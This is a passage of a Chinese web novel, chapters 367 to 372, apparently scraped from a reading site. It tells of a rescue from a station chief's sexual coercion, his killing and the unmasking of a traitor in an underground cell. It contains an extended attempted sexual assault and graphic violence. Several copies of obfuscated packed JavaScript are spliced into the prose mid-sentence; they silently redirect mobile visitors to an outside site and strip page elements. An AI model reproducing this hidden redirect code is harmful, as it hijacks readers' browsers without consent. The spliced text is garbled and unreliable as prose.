马有才的年纪比自己的父亲还大几岁,长得又奇丑无比,若是被这样的男人玷污,她宁肯选择**! “站长,我一直拿您当长辈……您这个要求……我……我不行的……” 徐青霞起身便要走,被马有才一把抱住了。 “我的小心肝,你可真是太馋人了。” 马有才说着就往徐青霞怀里拱,这让徐青霞想到了小时候家里的老母猪拱白菜的样子,她差点干呕出来。 “站长,站长,请您……自重!” 马有才被徐青霞的这种态度激怒了。 明明是她有求自己,现在倒成了自己耍流氓了! “别**装清纯了,实话告诉你,在整个湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229881|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 北站,只要是老子看上的女人,就没人可以逃出我的手掌心,我劝你还是放聪明点,不然……” 马有才说着就伸手去脱徐青霞身上的衣服,徐青霞惊声尖叫出来。 可现在已是下班时间,大楼里只留有几个晚上值班的人,他们十分了解马有才的秉性,又怎敢擅自闯入他的办公室。 徐青霞的衣服被马有才撕烂了,眼看就要被他霸王硬上弓。 徐青霞挣扎中抓起茶几上的一个茶杯,便要砸向马有才,被马有才一巴掌扇倒在地。 马有才气急败坏地骂道:“你是不是活得不耐烦了?信不信老子分分钟可以捏死你?” 徐青霞没想到自己怀揣理想进入力行社,本想做出一番作为,结果却遇到这样的禽兽上司。 她突然抓起地上的一个茶杯碎片,放到自己的脖子上。 “你再敢碰我,我立刻死在你面前。” 马有才在官场摸爬滚打这么多年,怎能被一个小姑娘轻易吓倒。 “你要想清楚,杀不杀李二狗只是我一句话的事,是你求我救李二狗,你如果不想救他,你现在就可以离开。” 徐青霞握着瓷片的手颤抖不已,马有才说得没错,确实是自己求他救李二狗。 可她怎么也没想到马有才竟要这种无耻的回报! 如果自己不答应,李二狗就会被处死! 可如果自己答应了,自己肯定生不如死! 自己到底应该怎么选择? 太难了! 实在是太难了! 徐青霞哭得身子一颤一颤的,看得马有才心里一阵心猿意马。 马有才知道徐青霞肯定不会眼睁睁看着李二狗**,他相信她答应自己只是时间的问题。 “我给你两个小时的考虑时间,你如果答应,我便放了李二狗,你如果不答应,我绝不会碰你,但李二狗一定会死!” 马有才虽然很想立刻得到徐青霞,但此时她手里紧握着茶杯碎片,如果再逼她,她真会**。 “好了,你就待在我办公室里好好考虑,天黑之后我再回来。” 第368章 李二狗独闯力行社 李二狗心想,徐青霞被马有才带到办公室,他的目的非常明确,徐青霞此时一定非常危险。 想到她下午就被马有才带走,而此时已是晚上,李二狗的心里不免一阵刺痛。 如果马有才拿自己的性命来要挟徐青霞,她一定会不顾一切的救自己。 一旦徐青霞被马有才玷污,凭她的性子她怎么还活得下去? 想到这,李二狗心里已是一团乱麻。 “快说,你们站长的办公室在哪里?” 老张没想到李二狗会为了救一个女人独自去闯马有才办公室,实在是色胆包天。 “我们……站长他……他在总部。” “你们总部在哪里?” “在……在江汉路110号。” 李二狗之前去过江汉路110号,那里是一个银行,他一直没弄明白,为何堂堂力行社湖北站要把办公地点选择银行里。 “你们总部为什么要和银行混在一起?敢说一句假话我马上要了你的狗命。” 李二狗说着便把短刀往下压了压,老张疼得龇牙咧嘴。 “我说,我说,其实那家银行是我们力行社湖北站的资产,不过它只占用一楼,那栋大楼后面还有一个院子,平时我们都是通过院子进入总部。” 力行社作为一个全国性的半军事组织,没想到竟还开设银行,民国的官员简直是**透顶。 “你们站长在大楼哪间办公室?” “在三楼最东头那间办公室。” “你要是敢说一句假话,我会让你生不如死!” 老张哀求道:“大爷,大爷,我说的全是真话,没有一句假话,求求你放了我吧,我只是一个小喽啰啊!” 李二狗本想杀了老张,但他一句自己只是一个小喽啰,激起了李二狗的恻隐之心。 他放弃了杀心,一掌把老张打晕过去。 他把短刀别在腰后,刚要出门,转头看见衣帽架上有一件制服,他快速上前拿起制服穿在自己身上,紧接着便出了拘押室的大门。 拘押室位于武汉郊区的长江边上,月黑风高的黑夜,李二狗也不知道这里离江汉路110号到底有多远的距离。 但时间就是金钱,他必须尽快赶到力行社湖北站总部。 他看到门口停着一排自行车,便跨上自行车直奔城区。 晚一秒徐青霞就会多出一分危险,李二狗拼了命,骑着自行车在夜色中快速穿行。 他一口气骑了半个多小时,终于来到江汉路110号。 他扔下自行车,大口大口地喘着粗气。 此时一楼的银行已经关门,李二狗悄悄绕到楼后,果然见有一个院子。 院子门口没有任何门牌,但有两名荷枪实弹的看守在巡逻。 李二狗为了避免打草惊蛇,没有选择从正门强行进入。 他绕行力行社大楼一圈,发现旁边的一栋大楼和力行社的大楼齐高,通过楼顶应该可以进入力行社大楼。 旁边的这栋大楼是一家夜总会,此时灯火通明,人声鼎沸。 李二狗穿着力行社的制服进入大楼,夜总会的保镖见了只顾着点头哈腰。 一个浓妆艳抹的女人热情地迎了上来。 “老总,您可是稀客啊,能来我们久久红,我们真是蓬荜生辉啊,快请进。” 李二狗没有过多的废话,面无表情地说道:“老子在执行重要任务,你们不要来打扰。” 女人一听有重要任务,顿时吓得噤了声。 回过神来才急忙解释道:“老总,我们这里可是合法经营啊。” “再有一句废话,老子毙了你,滚开!不要打扰我执行任务!” 女人不敢再废话,知趣地走开了。 李二狗又摆脱数名舞女的纠缠,很快便来到楼顶。 两栋大楼虽然齐高,但中间也有将近三米宽的空隙,借着皎洁的月光,李二狗看到力行社大楼的楼顶上铺满了铁丝网。 看来力行社早有防备。 李二狗站在楼顶往下看,六层楼的高度看得人眩晕。 正当李二狗准备下楼再寻他法的时候,发现在大楼墙壁上有数根雨水管道,从楼顶直接通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235185|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 往楼下。 从这栋楼的雨水管道跳跃到力行社大楼的雨水管道,然后借助雨水管道就可以直接下到力行社大楼一楼院里。 只是三米宽的距离,想要抓住对面楼上那根细小的雨水管道,危险性不言而喻。 但此时李二狗已经没有别的选择,**徐青霞在里面是不是正在度日如年。 想到这,他俯身从楼顶攀爬到一根雨水管道上。 雨水管道不到碗口粗细,上下每间隔两米左右有一个铁箍,把雨水管道固定在楼体墙面上。 李二狗双手抓紧雨水管道,双脚踩在铁箍上,整个雨水管道有些摇摇欲坠,想要跳跃到对面大楼的雨水管道上,一不小心就可能掉下去,摔个粉身碎骨。 李二狗深吸几口气,准备了数次都没有勇气跳跃过去。 等他顺着雨水管道下到三层楼的时候,他看向脚下,发现在二层楼高的位置有一堵高墙,墙上架设了铁丝网,如果没有猜错,铁丝网肯定通了电。 李二狗不能再往下爬,他必须立刻跳跃到对面的雨水管道上。 他弓起身体,双腿微弯,再次深吸几口气,然后猛地向对面的雨水管道跳跃了过去。 雨水管道既细又滑,李二狗双手虽然抓住了雨水管道,但双脚却没有踩住铁箍,巨大的惯性让他的身体往下滑去。 他双手死死抓住铁箍,整个身体的重量都压在双手上,被铁箍划出几道深深的伤口。 好在并没有继续往下掉,他忍着剧痛顺着雨水管道下滑到一楼。 他的双手已经血肉模糊,加上此前身体受过的酷刑,此时他感觉全身上下都散了架一般。 想到徐青霞就在楼上,他顾不得身体上的疼痛,直接来到大楼入口。 好在是晚上,大楼门口并没有安排警卫,李二狗闪身进入,直接上了三楼。 三楼最东侧的一间办公室虽然此时紧闭房门,但门缝里透出的光亮说明办公室里有人。 李二狗害怕极了! 他只能暗自祈祷他担心的事一定不要发生。 第369章 摆在你面前的只有两条路 “青霞,你想清楚了没有?” 马有才一脸猥琐地看着徐青霞。 徐青霞的心里在进行着激烈的思想斗争。 她心里实在无法接受马有才这个猥琐的男人,可她更接受不了李二狗死于非命。 “站长,除了这件事情之外,我可以答应您任何事情,求求你高抬贵手,放了他吧。”徐青霞苦苦哀求道。 徐青霞梨花带雨的模样不仅没有感化马有才,反而更加激起了他征服的欲望。 “青霞,实话告诉你,从你来到站里的第一天我就喜欢上你了。只要你从了我,在湖北站,你就是一人之下,万人之上,我保证你穿金戴银,吃香的喝辣的,一辈子有享不尽的荣华富贵。” “站长,求求你放过我吧,我……我还是个姑娘啊。” “姑娘?哼,你和那个李二狗之间做过什么,以为我不知道吗?别**在我面前装什么清纯,现在摆在你面前的只有两条路。要么你现在走,我会马上下令杀了李二狗,要么你留下,我马上放了李二狗,两条路由你自己选择,我绝不勉强。” 徐青霞心理崩溃了。 无论如何,李二狗她是非救不可! 可眼前的这个男人实在是令人作呕…… “我再给你最后一分钟的考虑时间。” 马有才作为老狐狸,他知道徐青霞最后会做出什么样的选择。 此时的徐青霞在他眼里,只不过是一只待宰的羔羊。 “还有半分钟。” “还有十秒钟。” “时间到……” “我答应你……” 一行清泪再次无声地滑落,徐青霞已经决定,等救出来李二狗,她就**。 被这样的男人玷污,她将无法面对自己的余生! “这才对嘛,大哥绝不会亏待你的,我的心肝小宝贝,你可让大哥想**……” 徐青霞闭上双眼,此时的她生不如死! 马有才上下其手,三下五除二就脱光了徐青霞身上的衣服。 “实在是一件不可多得的艺术品啊!”马有才忍不住惊叹道,哈喇子流了三尺长。 正当他脱掉自己身上的衣服,把徐青霞压在沙发上之时,“砰”的一声,办公室的门被踹开了。 “放开那个女人!” 多么熟悉的声音! 徐青霞睁开双眼,看见一脸正气的李二狗,这一刻,她又活了过来。 “二狗,你终于来了!” 她挣扎着从马有才的身下逃脱出来,飞身扑到李二狗的怀里,喜极而泣。 “我就知道你一定会来救我的……” 马有才此时身上只穿着一条花裤衩。 面对突然闯入的李二狗,他一时有些不知所措。 “你……你就是李二狗?” 他边说边要去拿挂在衣架上的**,被李二狗一个箭步冲上前,扭住他的胳膊,按在办公桌上。 “你敢出声,我立马宰了你!” 马有才不愧是力行社湖北站站长,临危不惧,此时被人按在桌上也没有失去理智。 “李二狗,只要你放了我,我可以放你们走!” “呵呵,我们走不走还用你放吗?” “没有我的命令,你以为你能出得去这个院子吗?” “我既然进得来就一定能出得去!” 马有才这次如梦方醒,他到底是怎么悄无声息进来的? 不过马有才毕竟是**湖,他立马威胁道:“我们力行社的手段你是知道的,你只要放了我,我可以既往不咎。” 李二狗冷笑道:“你当我是三岁小孩吗?会信你这些鬼话?告诉你,从我进门的那一刻起,我就没打算你会放过我们。” “你想怎么样?” “怎么样……” 李二狗回头看了一眼徐青霞,此时她正边流泪边穿衣服,李二狗心里像有一把火在燃烧。 “咔嚓”一声,李二狗竟扭断了马有才的脖子。 马有才的身体软绵绵地倒在地上,双眼爆珠而亡。 徐青霞吓傻了,双眼呆滞,瘫在地上,身体不停地抽搐着。 李二狗上前抱着徐青霞,柔声安慰道:“不要怕,没事了!马有才作恶多端,他竟然对你……,他必须死!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235186|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >徐青霞伏在李二狗身上抽泣起来,所有的委屈此刻都化作泪水肆意地流淌出来。 “青霞,这里不是哭泣的地方,我们得赶紧离开这里。” 徐青霞此时已完全没有了主意。 “我听你的。” 两人刚要走,李二狗又停了下来。 “你先等我一下。” 李二狗快步走到马有才办公桌前,拉开抽屉,看到里面有一把**,他拿出来别在腰上。 抽屉里还有一个黄色的档案盒,盒子上面写着“绝密”两字。 李二狗心想,绝密的档案肯定非常有价值,便把档案盒拿出来放在桌面上。 同时把里面一些金条和大洋也都拿出来放在桌面上。 然后他又从旁边的一个架子上拿出一个黑色的提包,把桌面上的这些东西都装在包里。 正当他提着提包要走的时候,发现办公室桌上放着一把汽车钥匙,李二狗微微一笑,把车钥匙拿在手里。 “我们走!” 李二狗把马有才办公室搜刮一空,虽然徐青霞并不认同他的做法,但她此时也不好说什么。 李二狗打开马有才办公室的门,朝门外观察了一番,并没有发现什么异常。 “跟紧我。” 李二狗拉着徐青霞的手,两人来到院子里。 “门口有看守,惊动了他们我们就走不了了。”徐青霞说道。 “知道哪辆车是马有才的吗?” 徐青霞看了看院子里,指了指其中的一辆斯蒂庞克牌黑色小轿车,说道:“就是那辆车。” “我们上车。” 徐青霞没想到李二狗竟然会开车,他真是一个无所不能的男人。 两人悄悄上了车。 “青霞,坐稳了,待会儿到了门口,一切听我指挥,千万别出声。” 在徐青霞惊讶的眼神中,李二狗立即打着火发动汽车。 汽车在夜色中平稳地向门口驶去。 门口的守卫见是马有才的汽车,根本不敢阻拦,他们赶紧打开院门。 李二狗驾驶着汽车疾驰而出,很快便消失在夜色之中。 第370章 为爱借刀** 李二狗驾驶着汽车一路飞驰,徐青霞还未从刚才的惊吓中缓过劲来。 等汽车停稳的时候,徐青霞惊讶地发现,李二狗竟把汽车停在了她家楼下。 “二狗,你这是……” “我陪你回家收拾收拾东西,你别担心,他们不会这么快找到这里来的。” 徐青霞对李二狗在危急时刻还能保持如此淡定的心态深感佩服,他真是一个令女人有安全感的男人。 两人来到徐青霞家里,虽然是刚刚搬进来不久,但收拾的却十分温馨。 “青霞,对不起,是我连累了你。”李二狗有些自责地说道。 徐青霞瞬间红了眼眶。 “二狗,当初要不是你救了我,我早就**,要说连累也是我连累了你。” 两人忍不住拥吻在一起…… 一个时辰之后,两人才恋恋不舍地离开。 李二狗把汽车扔在一个偏僻的角落,然后徒步带着徐青霞来到雅苑书店。 三长两短的敲门声过后,书店里面传来一阵窸窸窣窣的声响。 “谁?”刘东手里握着枪,站在门后警惕地问道。 深更半夜来敲门,虽然是事先约定的暗号,但刘东还是不能不保持警惕。 “是我,李二狗。” 刘东听出是李二狗的声音,急忙打开门,李二狗带着徐青霞走了进来。 刘东见到徐青霞先是一愣,随即向门外张望了片刻,没有发现异常情况之后才关上门。 “刘**,这就是徐青霞。” 刘东没想到他们一心要除掉的力行社电讯天才竟有如此的美貌,更没想到李二狗这么快就把她带到这里来。 刘东作为一名资深的地下党员,依然保持着惯有的谨慎,他把李二狗拉到一旁,低声问道:“你怎么把她带到这里来了?万一……” 李二狗突然剧烈地咳嗽起来,刘东这才发现他脸上的伤痕,分明是被皮鞭抽打留下的。 “你受伤了?” 李二狗说道:“领导,实不相瞒,前天晚上,我在宋小曼家中被力行社的特务抓捕。” 刘东惊愕不已。 宋小曼的家是保密的,力行社的特务是如何得知的?好在宋小曼已经提前转移,否则被捕的就是宋小曼。 “让你受苦了,力行社的特务应该是去抓宋小曼的。” 李二狗摇了摇头,说道:“不是,他们就是为了抓我。” “抓你?这怎么可能?你又不是我们组织的人,再说,你住在那里并没有其他人知晓。” “真的没有其他人知道吗?” 李二狗的反问令刘东陷入沉思。 **武汉工委确实有几个人知道宋小曼的住处,难道…… “你想说什么?” 刘东并不愿意相信是自己组织内部出现了叛徒,如果是那样,为什么雅苑书店还是安全的?这太不合理了! 李二狗早已猜到刘东心里的想法。 “领导,也许有人并没有想叛变,他只是想借力行社特务的手除掉我罢了。” “除掉你?”刘东更加感觉不可思议,“你刚来武汉,除了宋小曼之外并没有接触其他人,为什么有人想除掉你?” “呵呵,领导,你忘记了?有人接触过我。” “谁?” “你,宋小曼的搭档,还有……”李二狗微微一笑,“还有宋小曼的追求者。” “追求者?你是说黄一博?” 李二狗选择了沉默,沉默是最好的回答。 刘东极力否认道:“这不可能,黄一博同志我是了解的,他是不会叛变**的。” 李二狗隐约觉得刘东和黄一博的关系不一般。 “我没有说他要叛变**,我只是说他想借力行社特务的手除掉我。” “为什么啊?” “因为他是宋小曼的追求者。” 刘东知道,黄一博确实喜欢宋小曼。 李二狗当初为了救宋小曼可以舍弃自己的性命,显而易见,两人的关系的确非同一般。 难道黄一博真得是为爱借刀**? “李先生,你说的情况我会调查清楚,也请你相信,我们一定会给你一个满意的答复。” 徐青霞这才清楚,原来李二狗是被**武汉工委的人出卖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238217|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 “什么叫满意的答复?你们知道二狗受到了什么样的酷刑吗?他差点死在牢里!”徐青霞声嘶力竭地嚷道。 刘东和李二狗都被徐青霞突如其来的举动惊呆了。 刘东作为过来人,第一时间意识到,这个女人和李二狗的关系非同一般。 无论是宋小曼还是徐青霞,都是**挑一的绝世美人,怎么都对李二狗如此痴情,真是令人羡慕又嫉妒。 李二狗上前安抚道:“青霞,你冷静一下,这不关刘**的事。” “不关他的事?你难道没听出来他的袒护之意吗?” 徐青霞此时想到自己惨死的父母,她决不允许自己和这群地下党纠缠在一起。 “二狗,我要离开这里!” “青霞,你先别激动,有些事情不是你想象的那样。” 徐青霞流着泪说道:“二狗,我想象的哪样?是他们残忍地杀害了我父母,我和他们是不共戴天之仇,我要是和他们纠缠在一起,我父母的在天之灵也不会原谅我的。” “徐小姐,请你冷静一下,有些事情我们已经调查清楚了。” 李二狗瞅向刘东,刘东向他点了点头。 “青霞,我们先听他怎么说,然后再决定走不走,好吗?” 对于徐青霞来说,武汉已经没有她的立足之地,力行社对待叛徒的手段她是清楚的。 她默默地坐下来,身体还在微微颤栗着。 “领导,到底是什么情况?” 刘东走进里屋,拿出一张纸,交到李二狗手里。 “这是北平地下党发来的,徐大山是被力行社北平站的特务杀害的。” 徐青霞简直难以相信。 “这不可能!这不可能!” “力行社北平站为了让你加入他们,故意杀害你的父亲徐大山并嫁祸到我们身上,以此让你死心塌地地为他们卖命,这是他们惯用的手段,并不稀奇。” 此时,徐青霞已经完全不知道该信什么,一天之内发生的这些事情,每一件事情都颠覆了她以前的认知。 她该怎么办?她又能怎么办? 第371章 黄一博暴露 李二狗轻轻地拍了一下她的肩膀,安慰道:“青霞,其实从一开始我就觉得叔叔婶子的事很蹊跷,北平地下党如果真想杀他们,在北平就可以动手,何必要在江西动手呢?” 此刻,徐青霞的脑子完全是懵的,她什么都不敢相信,唯一能让自己相信的只有李二狗。 “二狗,我到底该怎么办?” 徐青霞伏在李二狗身上放声痛哭起来,哭声如泣如诉,有委屈、有**、有茫然、有不知所措…… “李先生,你带徐小姐到里屋休息一下,待会咱们再商量商量接下来怎么办。” 李二狗点点头,扶着徐青霞进了里屋。 “青霞,今天太累了,你先躺着休息一会儿吧。” 徐青霞紧握着李二狗的手不肯松手。 “二狗,我怕,不要离开我好吗?” 李二狗体贴地抚摸着她的额头,安慰道:“放心,我在这里看着你睡。” 徐青霞实在是太累了,躺下不久便沉沉睡去。 李二狗从她手中轻轻地抽出自己的手,然后为她拭去眼角的泪水后才来到外边。 “李先生,徐小姐的情绪好些了吗?” “她睡了,”李二狗叹息一声,“她一时接受不了也是可以理解的。” “当然,至少现在她已经脱离了力行社,我们可以等。” “领导,天亮之后,力行社的人肯定会满城搜捕我们,你还有没有其他安全的地方?” 刘东有些疑惑地看着李二狗。 “你还是担心黄一博?” “他肯定恨极了我,我怕他会狗急跳墙……” 从事地下工作,最重要的便是小心谨慎,刘东当然懂得这个道理。 “这样吧,书店后面有一个地窖,除了我之外,没有任何人知道,你和徐小姐先躲在里面,等过了这阵风头咱们在从长计议。” “那黄一博那边……” “李先生,我需要你配合我演一场戏,到时候真相自会查明。” “好,我全力配合你。” 第二天,刘东把黄一博叫到雅苑书店。 当黄一博进门看到李二狗时,他神色一变,但很快便恢复如常,不愧是一名经验丰富的老地下党员。 “李先生,你怎么在这里?” 李二狗尚未说话,刘东说道:“一博,李先生遇到了危险,刚从力行社的大牢里逃脱出来,现在力行社的特务正在追杀他,你马上把他带到**路76号的那个秘密联络站隐藏起来。” “麻烦你了,黄先生。”李二狗不动声色地感谢道。 “不麻烦,只要是力行社抓捕的人都是我们的朋友,保护李先生是我们的职责。” 刘东心里暗自祈祷,希望黄一博并不是出卖李二狗之人。 “一博,事态紧急,你赶紧带李先生去吧。” “好的,刘**,”黄一博没有表现出一丝慌乱,他看向李二狗,说道:“李先生,我们走吧。” 出门前,刘东再次叮嘱道:“一定要注意安全。” 路上,黄一博还是忍不住问道:“李先生,我很好奇,力行社那是龙潭虎穴,你只身一人是怎么逃出来的?” 李二狗微微一笑,轻松地说道:“力行社有我的朋友,是他帮助我逃出了魔掌。” “原来如此,”黄一博笑得比哭还难看,“李先生真是有福有福之人,能活着从力行社的大牢里逃出来,非一般人能做到。” “我只不过是运气比较好罢了。不过我还得感谢你们的帮助,如果没有你们,我还是会被他们抓回去。” 黄一博心里暗骂道,算你小子运气好,逃过这一次,下次一定要你的命。 “力行社的势力非常强大,我们还是得小心一点。” “给你们添麻烦了,谢谢。” “别客气,大家都是朋友嘛。” 说话间,两人已经来到**路76号的一栋民房。 这里表面上是一栋废弃的民房,其实在房子下面建有一间地下室,是**武汉工委的一处秘密联络站。 “李先生,你就放心在这里住下,不过没有要紧的事,千万不要随意外出,等避过这阵风头再说。” 李二狗紧紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238218|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 握住黄一博的手。 “患难见真情,谢谢啊,黄兄弟。” “李先生千万不要客气,咱们是朋友嘛。” 黄一博走后,李二狗悄然跟了上去。 不出所料,走出没有多远,黄一博便走进了一个电话亭。 他通过电话,向力行社举报了李二狗的藏身之处。 李二狗回到**路76号对面的一处民宅,刘东正在里面等他。 “真得是他吗?” 刘东还是难以相信黄一博会做出这种事情。 “是不是他等一会就知道了,他已经打过电话了。” 半个时辰之后,一辆黑色汽车停在**路76号的民房附近,车上下来五六个**的力行社特务,他们下车之后直奔民宅。 刘东痛苦地闭上了眼睛。 很快民宅方向传来几声巨响,刘东提前在地下室门口埋设的**被冲进去的特务踩响,几个特务当场送了命。 躲在不远处的黄一博亲眼目睹了这一切,目瞪口呆之余他立刻意识到自己中计了。 他刚想转身离开,张雪健突然出现在他身后。 “老张,你……你怎么在这里?” 黄一博再也无法保持淡定,语气显得十分慌乱。 “老黄,刘**让我来带你去见他,我们走吧。” 张雪健是**武汉工委的王牌侦查员,黄一博自知不是他的对手。 “老张,刘……**没说找我什么事吗?” 张雪健冷冷地说道:“刘**没有说,咱们去了就知道了。” 黄一博走在前面,张雪健走在身后,黄一博知道,张雪健的手此刻肯定已经按在枪柄上。 “老张,求求你救救我。”黄一博冷不丁地转身跪在张雪健跟前。 张雪健的手果然插在上衣胸口里面的口袋里。 他见黄一博突然跪倒在自己面前,微微有些惊讶。 其实他并不知道黄一博到底犯了什么错误。 刘东只是吩咐他去某一个地方找到黄一博,然后把他带到某一个地方,并没有告诉他,黄一博到底犯了什么错误。 第372章 我只求你答应我一件事情 张雪健从黄一博的态度里察觉他肯定犯了不可饶恕的错误。 “老黄,有什么话还是等你见到刘**和他说吧。” “老张,你一定要救我,是我一时被猪油蒙了心,我也是被逼无奈啊。” 黄一博已经开始痛哭流涕,一个大男人,抱着张雪健的大腿哭得嗷嗷的。 “老黄,有事说事,你这是做什么?快起来!” “我不起来,你要不答应我,我绝不起来。”黄一博抱得更紧了。 张雪健很不喜欢这种一遇到事就喜欢哭哭啼啼的男人。 他把手从衣兜里拿出来,伸手去扶黄一博。 黄一博从袖子里突然弹出一把短刀,一刀插入张雪健的腹部。 “你……” 张雪健一把推开黄一博,表情痛苦地捂着腹部,鲜血直流。 “老张,对不起了,我不能跟你回去。” “你……你必须跟我回去。” “那就别怪我不客气了!” 黄一博面露杀气,举刀再次捅向张雪健。 张雪健毕竟身手了得,他在重伤之下一个闪身,躲过黄一博的攻击,然后一脚踹向他的腰部。 黄一博一个趔趄摔倒在地上,手里的短刀甩到一旁。 张雪健一手扶墙,一手掏出**,还未瞄准黄一博,黄一博已经掏出**射向张雪健。 张雪健大腿上中了一枪,同时他也一枪击中了黄一博的手臂。 两人同时倒地互射,张雪健腹部的伤势加重,渐渐有些体力不支。 正在这时,刘东和李二狗听到**赶来。 黄一博见状,赶紧对着刘东的方向射了几枪之后便逃进了一个胡同里。 突然,警笛声大作,先前的**声和现在的**引来了警察。 “李先生,不要追了,我们必须马上撤离!” 李二狗只能放弃追击黄一博,扶着张雪健快速消失在夜色中。 一个小时之后,王曼春亲自带领力行社的特务包围了雅苑书店。 破门而入的瞬间,提前埋设的两颗**被引爆,当场炸死三个特务。 “给我搜!”王曼春叫嚣道。 几个特务再次冲进书店,里面早已空空如也。 “王科长,他们肯定刚刚撤离!我还知道几个秘密联络站的位置,我们得赶紧行动,免得他们提前撤离了。” 黄一博脖子上吊着一根绷带托着受伤的胳膊,满脸谄媚之色。 王曼春刚刚被李二狗羞辱,现在整个站的男人都知道她赤身裸体被李二狗绑成了一个大肉粽。 “李二狗,我一定要将你**万段!全城搜捕,一定要抓住李二狗!” 虽然雅苑书店撤离及时,但由于黄一博在武汉从事地下工作多年,好几个秘密联络站未来得及撤离,十几名地下党员被力行社逮捕。 武汉一时风声鹤唳,**武汉工委遭到前所未有的重大损失。 “刘**,都怪我,放走了黄一博,都怪我!我请求组织给我处分!” 躺在床上的张雪健自责不已。 “老张,这事不能怪你,是我考虑不周,没有处理好此事,要处分也应该是处分我!” “刘**,是我的过失,应该处分我。” “老张,你别说了,应该处分我。” 两人争来争去,吵得李二狗头晕脑涨。 如果真想要处分,每人给个处分不就得了,这样争来争去毫无意义! “领导,我觉得当务之急是除掉黄一博,以免给你们带来更大的损失!” 一语惊醒梦中人! “必须除掉他,免得他供出更多的同志。” “不仅要除掉他,还要把你们被捕的同志救出来!” 李二狗此言一出,惊得刘东和张雪健目瞪口呆,他们纷纷用难以置信的目光看着李二狗。 “你们看**什么?我说真的。” 此时张雪健受重伤,十几名地下党员被捕,刘东手里可用之人屈指可数,仅仅除掉黄一博就已经令他寝食难安,更别提救出被捕的同志。 “李先生,你可能不了解目前的形势,我们党在武汉的力量受到严重打击,目前面临的困难实在是太大了,很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248343|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 事情力不从心啊。” “领导,你放心吧,此事交给我来做就好。” 李二狗再次令刘东和张雪健目瞪口呆,他们认为李二狗简直是疯了。 “李先生,你可能不太了解力行社,他们……” “领导,你也说了,目前你们面临着巨大的困难,我看还是让我试一试吧。” “李先生,这是我们党自己的事情,我不想连累你。” 刘东为李二狗着想的态度还是令李二狗非常感动。 “领导,还是让我试一试吧,你放心,我不会乱来的,我只求你答应我一件事情。” 李二狗这种有勇有谋、不惧危险、舍生忘死的精神正是刘东所看重的。 “李先生,有什么事情你尽管说,我一定全力而为。” “假如我遭遇不幸,请你们一定照顾好徐青霞,她如果不愿意加入你们,也请你们不要勉强她。” 刘东尚未回答,徐青霞从门外冲了进来。 她扑入李二狗怀里,失声哭道:“二狗,我不让你去,你要遇到不幸,你以为我还能苟活于世吗?” “青霞,你放心,我不会有事的。” “可你刚才那番话明明是在交代后事,我不允许你有事,你答应我不要去好不好?求求你。” 